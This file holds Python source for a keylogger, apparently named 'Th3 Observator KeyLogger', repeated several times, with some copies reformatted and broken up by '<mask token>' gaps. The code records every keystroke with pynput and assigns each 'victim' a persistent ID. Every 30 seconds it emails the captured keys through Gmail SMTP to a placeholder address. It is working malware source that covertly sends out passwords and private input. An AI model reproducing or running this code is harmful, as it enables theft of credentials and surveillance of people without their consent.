from pynput.keyboard import Listener
import os
import time
import _thread
import tempfile
import uuid
import smtplib, ssl
from email.message import EmailMessage

# Temp Content Path
logFile = 'data.txt'

# Victim Unique ID
unique_id_file = tempfile.gettempdir() + '/kl_unique_id.bin'
client_unique_id = None
indexer = 1

# Keyboard Buffer
buffer = []

# SMTP Settings
smtp_server = "smtp.gmail.com"
smtp_port = 587
sender_email = "foo@provider"
smtp_password = "fooPassword"
destination_address = "foo_destination@provider"

def send_buffer_to_email():

    print("[+] send_buffer_to_email enter")

    while True:

        time.sleep(30)

        # Create a secure SSL context
        context = ssl.create_default_context()
        global buffer
        global indexer

        # Try to log in to server and send email
        try:
            server = smtplib.SMTP(smtp_server, smtp_port)
            server.ehlo()  # Can be omitted
            server.starttls(context=context)  # Secure the connection
            server.ehlo()  # Can be omitted
            server.login(sender_email, smtp_password)

            msg = EmailMessage()
            msg.set_content(''.join(buffer))

            if len(buffer) > 1000000:
                # Reset Buffer
                buffer = []
                indexer = 1
            else:
                indexer += 1

            msg['Subject'] = f'{client_unique_id} - Event ID: {indexer}'
            msg['From'] = sender_email
            msg['To'] = destination_address

            server.send_message(msg)

            print("[*] Send Mail OK")

        except Exception as e:
          print(e)
        finally:
          server.quit()


def init_unique_client_id():
    '''Initializes the Unique Client ID.'''
    print("[+] init_unique_client_id enter")

    global client_unique_id
    if not os.path.exists(unique_id_file):
        client_unique_id = uuid.uuid4().hex.upper()

        with open(unique_id_file, 'w') as file:
            file.write(client_unique_id)
            file.flush()
            os.fsync(file.fileno())
            file.close()
    else:
        with open(unique_id_file, 'r') as file:
            client_unique_id = file.read()
            file.close()

    print("[+] MY ID=" + client_unique_id)

def write_to_disk():
    print("[+] write_to_disk enter")

    while True:
        with open(logFile, "w") as file:
            file.write(''.join(buffer))
            file.flush()
            os.fsync(file.fileno())
            file.close()
    time.sleep(1)


def writeLog(key):
    '''Dumps Buffer to File'''

    translate_keys = {
        "Key.space": " ",
        "Key.shift_r": "<SHIFT_R>",
        "Key.shift_l": "<SHIFT_L>",
        "Key.shift": "<SHIFT>",
        "Key.enter": "\n",
        "Key.alt_l": "<ALT_L>",
        "Key.alt_r": "<ALT_R>",
        "Key.ctrl_l": "<CTRL_L>",
        "Key.ctrl_r": "<CTRL_R>",
        "Key.ctrl": "<CTRL>",
        "Key.esc": "<ESC>",
        "Key.cmd": "<CMD>",
        "Key.caps_lock": "<TOGGLE_CAPS_LOCK>",
        "Key.tab": "<TAB>",
        "Key.backspace": "<BACKSPACE>",
        "Key.end": "<END>",
        "Key.down": "<DOWN>",
        "Key.up": "<UP>",
        "Key.right": "<RIGHT>",
        "Key.left": "<LEFT>",
        "Key.num_lock": "<NUM_LOCK>",
        "Key.caps_lock": "<CAPS_LOCK>",
    }
    keydata = str(key)
    keydata = keydata.replace("'", "")

    for key in translate_keys:
        keydata = keydata.replace(key, translate_keys[key])

    buffer.append(keydata)


def __main__():

    init_unique_client_id()
    _thread.start_new_thread(write_to_disk, ())
    _thread.start_new_thread(send_buffer_to_email, ())

    # Start Listener
    with Listener(on_press=writeLog) as l:
        l.join()


if __name__ == '__main__':
    print('''
  _______  _      ____     ___   _                                    _               
 |__   __|| |    |___ \   / _ \ | |                                  | |              
    | |   | |__    __) | | | | || |__   ___   ___  _ __ __   __ __ _ | |_  ___   _ __ 
    | |   | '_ \  |__ <  | | | || '_ \ / __| / _ \| '__|\ \ / // _` || __|/ _ \ | '__|
    | |   | | | | ___) | | |_| || |_) |\__ \|  __/| |    \ V /| (_| || |_| (_) || |   
    |_|   |_| |_||____/   \___/ |_.__/ |___/ \___||_|     \_/  \__,_| \__|\___/ |_|   
  _  __             _                                                                 
 | |/ /            | |                                                                
 | ' /  ___  _   _ | |      ___    __ _   __ _   ___  _ __                            
 |  <  / _ \| | | || |     / _ \  / _` | / _` | / _ \| '__|                           
 | . \|  __/| |_| || |____| (_) || (_| || (_| ||  __/| |                              
 |_|\_\\___| \__, ||______|\___/  \__, | \__, | \___||_|                              
              __/ |                __/ |  __/ |                                       
             |___/                |___/  |___/                                        
    ''')
    __main__()

764211c6a25f022a2c02565745e1f99f24459bc0
<mask token>


def send_buffer_to_email():
    print('[+] send_buffer_to_email enter')
    while True:
        time.sleep(30)
        context = ssl.create_default_context()
        global buffer
        global indexer
        try:
            server = smtplib.SMTP(smtp_server, smtp_port)
            server.ehlo()
            server.starttls(context=context)
            server.ehlo()
            server.login(sender_email, smtp_password)
            msg = EmailMessage()
            msg.set_content(''.join(buffer))
            if len(buffer) > 1000000:
                buffer = []
                indexer = 1
            else:
                indexer += 1
            msg['Subject'] = f'{client_unique_id} - Event ID: {indexer}'
            msg['From'] = sender_email
            msg['To'] = destination_address
            server.send_message(msg)
            print('[*] Send Mail OK')
        except Exception as e:
            print(e)
        finally:
            server.quit()


def init_unique_client_id():
    """Initializes the Unique Client ID."""
    print('[+] init_unique_client_id enter')
    global client_unique_id
    if not os.path.exists(unique_id_file):
        client_unique_id = uuid.uuid4().hex.upper()
        with open(unique_id_file, 'w') as file:
            file.write(client_unique_id)
            file.flush()
            os.fsync(file.fileno())
            file.close()
    else:
        with open(unique_id_file, 'r') as file:
            client_unique_id = file.read()
            file.close()
    print('[+] MY ID=' + client_unique_id)


def write_to_disk():
    print('[+] write_to_disk enter')
    while True:
        with open(logFile, 'w') as file:
            file.write(''.join(buffer))
            file.flush()
            os.fsync(file.fileno())
            file.close()
    time.sleep(1)


<mask token>


def __main__():
    init_unique_client_id()
    _thread.start_new_thread(write_to_disk, ())
    _thread.start_new_thread(send_buffer_to_email, ())
    with Listener(on_press=writeLog) as l:
        l.join()


<mask token>

<mask token>


def send_buffer_to_email():
    print('[+] send_buffer_to_email enter')
    while True:
        time.sleep(30)
        context = ssl.create_default_context()
        global buffer
        global indexer
        try:
            server = smtplib.SMTP(smtp_server, smtp_port)
            server.ehlo()
            server.starttls(context=context)
            server.ehlo()
            server.login(sender_email, smtp_password)
            msg = EmailMessage()
            msg.set_content(''.join(buffer))
            if len(buffer) > 1000000:
                buffer = []
                indexer = 1
            else:
                indexer += 1
            msg['Subject'] = f'{client_unique_id} - Event ID: {indexer}'
            msg['From'] = sender_email
            msg['To'] = destination_address
            server.send_message(msg)
            print('[*] Send Mail OK')
        except Exception as e:
            print(e)
        finally:
            server.quit()


def init_unique_client_id():
    """Initializes the Unique Client ID."""
    print('[+] init_unique_client_id enter')
    global client_unique_id
    if not os.path.exists(unique_id_file):
        client_unique_id = uuid.uuid4().hex.upper()
        with open(unique_id_file, 'w') as file:
            file.write(client_unique_id)
            file.flush()
            os.fsync(file.fileno())
            file.close()
    else:
        with open(unique_id_file, 'r') as file:
            client_unique_id = file.read()
            file.close()
    print('[+] MY ID=' + client_unique_id)


def write_to_disk():
    print('[+] write_to_disk enter')
    while True:
        with open(logFile, 'w') as file:
            file.write(''.join(buffer))
            file.flush()
            os.fsync(file.fileno())
            file.close()
    time.sleep(1)


def writeLog(key):
    """Dumps Buffer to File"""
    translate_keys = {'Key.space': ' ', 'Key.shift_r': '<SHIFT_R>',
        'Key.shift_l': '<SHIFT_L>', 'Key.shift': '<SHIFT>', 'Key.enter':
        '\n', 'Key.alt_l': '<ALT_L>', 'Key.alt_r': '<ALT_R>', 'Key.ctrl_l':
        '<CTRL_L>', 'Key.ctrl_r': '<CTRL_R>', 'Key.ctrl': '<CTRL>',
        'Key.esc': '<ESC>', 'Key.cmd': '<CMD>', 'Key.caps_lock':
        '<TOGGLE_CAPS_LOCK>', 'Key.tab': '<TAB>', 'Key.backspace':
        '<BACKSPACE>', 'Key.end': '<END>', 'Key.down': '<DOWN>', 'Key.up':
        '<UP>', 'Key.right': '<RIGHT>', 'Key.left': '<LEFT>',
        'Key.num_lock': '<NUM_LOCK>', 'Key.caps_lock': '<CAPS_LOCK>'}
    keydata = str(key)
    keydata = keydata.replace("'", '')
    for key in translate_keys:
        keydata = keydata.replace(key, translate_keys[key])
    buffer.append(keydata)


def __main__():
    init_unique_client_id()
    _thread.start_new_thread(write_to_disk, ())
    _thread.start_new_thread(send_buffer_to_email, ())
    with Listener(on_press=writeLog) as l:
        l.join()


if __name__ == '__main__':
    print(
        """
  _______  _      ____     ___   _                                    _               
 |__   __|| |    |___ \\   / _ \\ | |                                  | |              
    | |   | |__    __) | | | | || |__   ___   ___  _ __ __   __ __ _ | |_  ___   _ __ 
    | |   | '_ \\  |__ <  | | | || '_ \\ / __| / _ \\| '__|\\ \\ / // _` || __|/ _ \\ | '__|
    | |   | | | | ___) | | |_| || |_) |\\__ \\|  __/| |    \\ V /| (_| || |_| (_) || |   
    |_|   |_| |_||____/   \\___/ |_.__/ |___/ \\___||_|     \\_/  \\__,_| \\__|\\___/ |_|   
  _  __             _                                                                 
 | |/ /            | |                                                                
 | ' /  ___  _   _ | |      ___    __ _   __ _   ___  _ __                            
 |  <  / _ \\| | | || |     / _ \\  / _` | / _` | / _ \\| '__|                           
 | . \\|  __/| |_| || |____| (_) || (_| || (_| ||  __/| |                              
 |_|\\_\\___| \\__, ||______|\\___/  \\__, | \\__, | \\___||_|                              
              __/ |                __/ |  __/ |                                       
             |___/                |___/  |___/                                        
    """
        )
    __main__()

<mask token>
logFile = 'data.txt'
unique_id_file = tempfile.gettempdir() + '/kl_unique_id.bin'
client_unique_id = None
indexer = 1
buffer = []
smtp_server = 'smtp.gmail.com'
smtp_port = 587
sender_email = 'foo@provider'
smtp_password = 'fooPassword'
destination_address = 'foo_destination@provider'


def send_buffer_to_email():
    print('[+] send_buffer_to_email enter')
    while True:
        time.sleep(30)
        context = ssl.create_default_context()
        global buffer
        global indexer
        try:
            server = smtplib.SMTP(smtp_server, smtp_port)
            server.ehlo()
            server.starttls(context=context)
            server.ehlo()
            server.login(sender_email, smtp_password)
            msg = EmailMessage()
            msg.set_content(''.join(buffer))
            if len(buffer) > 1000000:
                buffer = []
                indexer = 1
            else:
                indexer += 1
            msg['Subject'] = f'{client_unique_id} - Event ID: {indexer}'
            msg['From'] = sender_email
            msg['To'] = destination_address
            server.send_message(msg)
            print('[*] Send Mail OK')
        except Exception as e:
            print(e)
        finally:
            server.quit()


def init_unique_client_id():
    """Initializes the Unique Client ID."""
    print('[+] init_unique_client_id enter')
    global client_unique_id
    if not os.path.exists(unique_id_file):
        client_unique_id = uuid.uuid4().hex.upper()
        with open(unique_id_file, 'w') as file:
            file.write(client_unique_id)
            file.flush()
            os.fsync(file.fileno())
            file.close()
    else:
        with open(unique_id_file, 'r') as file:
            client_unique_id = file.read()
            file.close()
    print('[+] MY ID=' + client_unique_id)


def write_to_disk():
    print('[+] write_to_disk enter')
    while True:
        with open(logFile, 'w') as file:
            file.write(''.join(buffer))
            file.flush()
            os.fsync(file.fileno())
            file.close()
    time.sleep(1)


def writeLog(key):
    """Dumps Buffer to File"""
    translate_keys = {'Key.space': ' ', 'Key.shift_r': '<SHIFT_R>',
        'Key.shift_l': '<SHIFT_L>', 'Key.shift': '<SHIFT>', 'Key.enter':
        '\n', 'Key.alt_l': '<ALT_L>', 'Key.alt_r': '<ALT_R>', 'Key.ctrl_l':
        '<CTRL_L>', 'Key.ctrl_r': '<CTRL_R>', 'Key.ctrl': '<CTRL>',
        'Key.esc': '<ESC>', 'Key.cmd': '<CMD>', 'Key.caps_lock':
        '<TOGGLE_CAPS_LOCK>', 'Key.tab': '<TAB>', 'Key.backspace':
        '<BACKSPACE>', 'Key.end': '<END>', 'Key.down': '<DOWN>', 'Key.up':
        '<UP>', 'Key.right': '<RIGHT>', 'Key.left': '<LEFT>',
        'Key.num_lock': '<NUM_LOCK>', 'Key.caps_lock': '<CAPS_LOCK>'}
    keydata = str(key)
    keydata = keydata.replace("'", '')
    for key in translate_keys:
        keydata = keydata.replace(key, translate_keys[key])
    buffer.append(keydata)


def __main__():
    init_unique_client_id()
    _thread.start_new_thread(write_to_disk, ())
    _thread.start_new_thread(send_buffer_to_email, ())
    with Listener(on_press=writeLog) as l:
        l.join()


if __name__ == '__main__':
    print(
        """
  _______  _      ____     ___   _                                    _               
 |__   __|| |    |___ \\   / _ \\ | |                                  | |              
    | |   | |__    __) | | | | || |__   ___   ___  _ __ __   __ __ _ | |_  ___   _ __ 
    | |   | '_ \\  |__ <  | | | || '_ \\ / __| / _ \\| '__|\\ \\ / // _` || __|/ _ \\ | '__|
    | |   | | | | ___) | | |_| || |_) |\\__ \\|  __/| |    \\ V /| (_| || |_| (_) || |   
    |_|   |_| |_||____/   \\___/ |_.__/ |___/ \\___||_|     \\_/  \\__,_| \\__|\\___/ |_|   
  _  __             _                                                                 
 | |/ /            | |                                                                
 | ' /  ___  _   _ | |      ___    __ _   __ _   ___  _ __                            
 |  <  / _ \\| | | || |     / _ \\  / _` | / _` | / _ \\| '__|                           
 | . \\|  __/| |_| || |____| (_) || (_| || (_| ||  __/| |                              
 |_|\\_\\___| \\__, ||______|\\___/  \\__, | \\__, | \\___||_|                              
              __/ |                __/ |  __/ |                                       
             |___/                |___/  |___/                                        
    """
        )
    __main__()

from pynput.keyboard import Listener
import os
import time
import _thread
import tempfile
import uuid
import smtplib, ssl
from email.message import EmailMessage
logFile = 'data.txt'
unique_id_file = tempfile.gettempdir() + '/kl_unique_id.bin'
client_unique_id = None
indexer = 1
buffer = []
smtp_server = 'smtp.gmail.com'
smtp_port = 587
sender_email = 'foo@provider'
smtp_password = 'fooPassword'
destination_address = 'foo_destination@provider'


def send_buffer_to_email():
    print('[+] send_buffer_to_email enter')
    while True:
        time.sleep(30)
        context = ssl.create_default_context()
        global buffer
        global indexer
        try:
            server = smtplib.SMTP(smtp_server, smtp_port)
            server.ehlo()
            server.starttls(context=context)
            server.ehlo()
            server.login(sender_email, smtp_password)
            msg = EmailMessage()
            msg.set_content(''.join(buffer))
            if len(buffer) > 1000000:
                buffer = []
                indexer = 1
            else:
                indexer += 1
            msg['Subject'] = f'{client_unique_id} - Event ID: {indexer}'
            msg['From'] = sender_email
            msg['To'] = destination_address
            server.send_message(msg)
            print('[*] Send Mail OK')
        except Exception as e:
            print(e)
        finally:
            server.quit()


def init_unique_client_id():
    """Initializes the Unique Client ID."""
    print('[+] init_unique_client_id enter')
    global client_unique_id
    if not os.path.exists(unique_id_file):
        client_unique_id = uuid.uuid4().hex.upper()
        with open(unique_id_file, 'w') as file:
            file.write(client_unique_id)
            file.flush()
            os.fsync(file.fileno())
            file.close()
    else:
        with open(unique_id_file, 'r') as file:
            client_unique_id = file.read()
            file.close()
    print('[+] MY ID=' + client_unique_id)


def write_to_disk():
    print('[+] write_to_disk enter')
    while True:
        with open(logFile, 'w') as file:
            file.write(''.join(buffer))
            file.flush()
            os.fsync(file.fileno())
            file.close()
    time.sleep(1)


def writeLog(key):
    """Dumps Buffer to File"""
    translate_keys = {'Key.space': ' ', 'Key.shift_r': '<SHIFT_R>',
        'Key.shift_l': '<SHIFT_L>', 'Key.shift': '<SHIFT>', 'Key.enter':
        '\n', 'Key.alt_l': '<ALT_L>', 'Key.alt_r': '<ALT_R>', 'Key.ctrl_l':
        '<CTRL_L>', 'Key.ctrl_r': '<CTRL_R>', 'Key.ctrl': '<CTRL>',
        'Key.esc': '<ESC>', 'Key.cmd': '<CMD>', 'Key.caps_lock':
        '<TOGGLE_CAPS_LOCK>', 'Key.tab': '<TAB>', 'Key.backspace':
        '<BACKSPACE>', 'Key.end': '<END>', 'Key.down': '<DOWN>', 'Key.up':
        '<UP>', 'Key.right': '<RIGHT>', 'Key.left': '<LEFT>',
        'Key.num_lock': '<NUM_LOCK>', 'Key.caps_lock': '<CAPS_LOCK>'}
    keydata = str(key)
    keydata = keydata.replace("'", '')
    for key in translate_keys:
        keydata = keydata.replace(key, translate_keys[key])
    buffer.append(keydata)


def __main__():
    init_unique_client_id()
    _thread.start_new_thread(write_to_disk, ())
    _thread.start_new_thread(send_buffer_to_email, ())
    with Listener(on_press=writeLog) as l:
        l.join()


if __name__ == '__main__':
    print(
        """
  _______  _      ____     ___   _                                    _               
 |__   __|| |    |___ \\   / _ \\ | |                                  | |              
    | |   | |__    __) | | | | || |__   ___   ___  _ __ __   __ __ _ | |_  ___   _ __ 
    | |   | '_ \\  |__ <  | | | || '_ \\ / __| / _ \\| '__|\\ \\ / // _` || __|/ _ \\ | '__|
    | |   | | | | ___) | | |_| || |_) |\\__ \\|  __/| |    \\ V /| (_| || |_| (_) || |   
    |_|   |_| |_||____/   \\___/ |_.__/ |___/ \\___||_|     \\_/  \\__,_| \\__|\\___/ |_|   
  _  __             _                                                                 
 | |/ /            | |                                                                
 | ' /  ___  _   _ | |      ___    __ _   __ _   ___  _ __                            
 |  <  / _ \\| | | || |     / _ \\  / _` | / _` | / _ \\| '__|                           
 | . \\|  __/| |_| || |____| (_) || (_| || (_| ||  __/| |                              
 |_|\\_\\___| \\__, ||______|\\___/  \\__, | \\__, | \\___||_|                              
              __/ |                __/ |  __/ |                                       
             |___/                |___/  |___/                                        
    """
        )
    __main__()

from pynput.keyboard import Listener
import os
import time
import _thread
import tempfile
import uuid
import smtplib, ssl
from email.message import EmailMessage

# Temp Content Path
logFile = 'data.txt'

# Victim Unique ID
unique_id_file = tempfile.gettempdir() + '/kl_unique_id.bin'
client_unique_id = None
indexer = 1

# Keyboard Buffer
buffer = []

# SMTP Settings
smtp_server = "smtp.gmail.com"
smtp_port = 587
sender_email = "foo@provider"
smtp_password = "fooPassword"
destination_address = "foo_destination@provider"

def send_buffer_to_email():

    print("[+] send_buffer_to_email enter")

    while True:

        time.sleep(30)

        # Create a secure SSL context
        context = ssl.create_default_context()
        global buffer
        global indexer

        # Try to log in to server and send email
        try:
            server = smtplib.SMTP(smtp_server, smtp_port)
            server.ehlo()  # Can be omitted
            server.starttls(context=context)  # Secure the connection
            server.ehlo()  # Can be omitted
            server.login(sender_email, smtp_password)

            msg = EmailMessage()
            msg.set_content(''.join(buffer))

            if len(buffer) > 1000000:
                # Reset Buffer
                buffer = []
                indexer = 1
            else:
                indexer += 1

            msg['Subject'] = f'{client_unique_id} - Event ID: {indexer}'
            msg['From'] = sender_email
            msg['To'] = destination_address

            server.send_message(msg)

            print("[*] Send Mail OK")

        except Exception as e:
          print(e)
        finally:
          server.quit()


def init_unique_client_id():
    '''Initializes the Unique Client ID.'''
    print("[+] init_unique_client_id enter")

    global client_unique_id
    if not os.path.exists(unique_id_file):
        client_unique_id = uuid.uuid4().hex.upper()

        with open(unique_id_file, 'w') as file:
            file.write(client_unique_id)
            file.flush()
            os.fsync(file.fileno())
            file.close()
    else:
        with open(unique_id_file, 'r') as file:
            client_unique_id = file.read()
            file.close()

    print("[+] MY ID=" + client_unique_id)

def write_to_disk():
    print("[+] write_to_disk enter")

    while True:
        with open(logFile, "w") as file:
            file.write(''.join(buffer))
            file.flush()
            os.fsync(file.fileno())
            file.close()
    time.sleep(1)


def writeLog(key):
    '''Dumps Buffer to File'''

    translate_keys = {
        "Key.space": " ",
        "Key.shift_r": "<SHIFT_R>",
        "Key.shift_l": "<SHIFT_L>",
        "Key.shift": "<SHIFT>",
        "Key.enter": "\n",
        "Key.alt_l": "<ALT_L>",
        "Key.alt_r": "<ALT_R>",
        "Key.ctrl_l": "<CTRL_L>",
        "Key.ctrl_r": "<CTRL_R>",
        "Key.ctrl": "<CTRL>",
        "Key.esc": "<ESC>",
        "Key.cmd": "<CMD>",
        "Key.caps_lock": "<TOGGLE_CAPS_LOCK>",
        "Key.tab": "<TAB>",
        "Key.backspace": "<BACKSPACE>",
        "Key.end": "<END>",
        "Key.down": "<DOWN>",
        "Key.up": "<UP>",
        "Key.right": "<RIGHT>",
        "Key.left": "<LEFT>",
        "Key.num_lock": "<NUM_LOCK>",
        "Key.caps_lock": "<CAPS_LOCK>",
    }
    keydata = str(key)
    keydata = keydata.replace("'", "")

    for key in translate_keys:
        keydata = keydata.replace(key, translate_keys[key])

    buffer.append(keydata)


def __main__():

    init_unique_client_id()
    _thread.start_new_thread(write_to_disk, ())
    _thread.start_new_thread(send_buffer_to_email, ())

    # Start Listener
    with Listener(on_press=writeLog) as l:
        l.join()


if __name__ == '__main__':
    print('''
  _______  _      ____     ___   _                                    _               
 |__   __|| |    |___ \   / _ \ | |                                  | |              
    | |   | |__    __) | | | | || |__   ___   ___  _ __ __   __ __ _ | |_  ___   _ __ 
    | |   | '_ \  |__ <  | | | || '_ \ / __| / _ \| '__|\ \ / // _` || __|/ _ \ | '__|
    | |   | | | | ___) | | |_| || |_) |\__ \|  __/| |    \ V /| (_| || |_| (_) || |   
    |_|   |_| |_||____/   \___/ |_.__/ |___/ \___||_|     \_/  \__,_| \__|\___/ |_|   
  _  __             _                                                                 
 | |/ /            | |                                                                
 | ' /  ___  _   _ | |      ___    __ _   __ _   ___  _ __                            
 |  <  / _ \| | | || |     / _ \  / _` | / _` | / _ \| '__|                           
 | . \|  __/| |_| || |____| (_) || (_| || (_| ||  __/| |                              
 |_|\_\\___| \__, ||______|\___/  \__, | \__, | \___||_|                              
              __/ |                __/ |  __/ |                                       
             |___/                |___/  |___/                                        
    ''')
    __main__()
